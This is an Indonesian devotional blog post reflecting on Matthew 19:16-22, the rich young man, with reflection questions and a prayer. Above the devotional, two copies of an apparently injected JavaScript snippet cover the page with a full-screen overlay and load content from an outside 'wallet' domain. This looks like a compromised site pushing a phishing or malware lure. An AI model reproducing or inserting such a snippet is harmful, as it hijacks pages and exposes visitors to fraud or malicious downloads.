KESEMPURNAAN MENGIKUT TUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 01 November 2023

Matius 19 : 16 – 22

Pengantar

Ada pernyataan bahwa tidak ada manusia yang sempurna di dunia ini. Ini jika dikaitkan dengan kemampuan atau kekuatan kita untuk memenuhi segala ketetapan dan perintah TUHAN. Namun dalam Matius 19 : 16 – 22 yang kita baca pada hari ini, dinyatakan tentang adanya sebuah kesempurnaan hidup yang dikatakan TUHAN YESUS. Jadi marilah kita memperhatikan dan memahami apa maksud dari perkataan TUHAN YESUS tersebut.

Pemahaman

Ayat 16 – 17 : Apa  pertanyaan awal dari seorang muda yang datang kepada TUHAN YESUS?

Ayat 18 – 20 : Apa pertanyaan berikutnya dari orang muda tersebut?

Ayat 21 – 22 : Apa jawaban akhir dan ajakan TUHAN YESUS kepada orang muda tersebut?

Seorang muda datang dan bertanya kepada TUHAN YESUS tentang perbuatan baik apakah yang harus ia perbuat untuk memperoleh hidup yang kekal. Lalu TUHAN YESUS menjawab bahwa jikalau orang muda itu ingin masuk ke dalam hidup yang kekal, maka ia harus menuruti segala perintah ALLAH. Ini menunjukkan bahwa hidup kekal itu hidup yang terarah kepada ALLAH.

Orang muda itu bertanya kembali tentang perintah mana yang dimaksudkan. TUHAN YESUS pun menjawab bahwa perintah yang dimaksud adalah jangan membunuh, jangan berzinah, jangan mencuri, jangan mengucapkan saksi dusta, hormatilah ayahmu dan ibumu dan kasihilah sesamamu manusia seperti dirimu sendiri. Kemudian orang muda itu mengatakan bahwa semuanya telah ia turuti, dan selanjutnya bertanya: “Apalagi yang masih kurang?”. Di sini tampak bahwa orang muda itu hanya

memahami perintah sebagai dalam rangka pemenuhan kewajiban dan bukannya sebagai sebuah relasi dan praktik hidup yang terarah kepada ALLAH.

TUHAN YESUS kemudian berkata kepada orang muda itu bahwa jikalau ia hendak sempurna, maka ia diminta untuk pergi, menjual segala miliknya dan memberikan itu kepada orang-orang miskin, maka ia akan beroleh harta di sorga. Ia pun kemudian diminta datang kepada TUHAN YESUS dan mengikut Dia. Ketika orang muda itu mendengar perkataan tersebut, pergilah ia dengan sedih, sebab banyak hartanya. Hal ini kembali hendak memperlihatkan tentang di mana sesungguhnya arah hidup orang muda tersebut dan juga secara khusus kesediaannya menuruti perintah ALLAH di dalam KRISTUS. Bahwa kesempurnaan bukan tentang nilai prestasi hidup kita, tetapi tentang penyerahan hidup yang penuh dalam mengikut TUHAN.

Refleksi                                                                 

Dalam keheningan hati marilah merenungkan:

  • Apakah Saudara telah sepenuhnya hidup terarah dan taat kepada perintah TUHAN?
  • Apakah Saudara masih membatasi ketaatan pada sebagian aspek hidup dan karya Saudara?

Tekadku                                                                

TUHAN, bentuklah aku sebagai pribadi yang dapat hidup terarah dan taat akan perintah-Mu.

Tindakanku                                                           

Setiap hari, aku akan berusaha untuk makin sedia hidup berserah penuh mengikut TUHAN dalam setiap pengambilan keputusan yang harus kulakukan.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *